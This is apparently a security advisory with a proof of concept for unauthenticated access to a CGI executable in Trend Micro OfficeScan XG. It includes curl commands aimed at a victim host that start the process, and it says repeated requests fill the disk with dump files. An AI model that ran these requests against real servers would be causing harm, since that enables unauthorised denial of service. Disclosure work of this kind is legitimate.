OfficeScan XG
v11.0 and (12.0)*

Vulnerability Type:
Unauthorized Start Remote Process Code Execution
Unauthorized Denial Of Service - INI Corruption

OfficeScan protects enterprise networks from malware, network viruses, web-based threats, spyware, and mixed threat attacks.
An integrated solution, OfficeScan consists of the OfficeScan agent program that resides at the endpoint and a server program that
manages all agents. The OfficeScan agent guards the endpoint and reports its security status to the server. The server, through the
web-based management console, makes it easy to set coordinated security policies and deploy updates to every agent.

CVE Reference:

Security Issue:
Remote unauthenticated attackers who connect to the OfficeScan XG application can temporarily start the "fcgiOfcDDA.exe" executable
this process will run for short time before dies, server disk space may also be consumed with dump files by making continous HTTP requests.


Exploit/POC Start Remote Process Code Execution:
c:\> curl -k https://VICTIM-IP:4343/officescan/console/CGI/

HTTP response:
403 - Forbidden: Access is denied.
You do not have permission to view this directory or page using the credentials that you supplied

But, we can access it directly :)

c:\> curl -v -k https://VICTIM-IP:4343/officescan/console/CGI/fcgiOfcDDA.exe

HTTP Response:

500 - Internal server error.
There is a problem with the resource you are looking for, and it cannot be displayed.

The EXE is called then runs for short time before .DMP is generated.
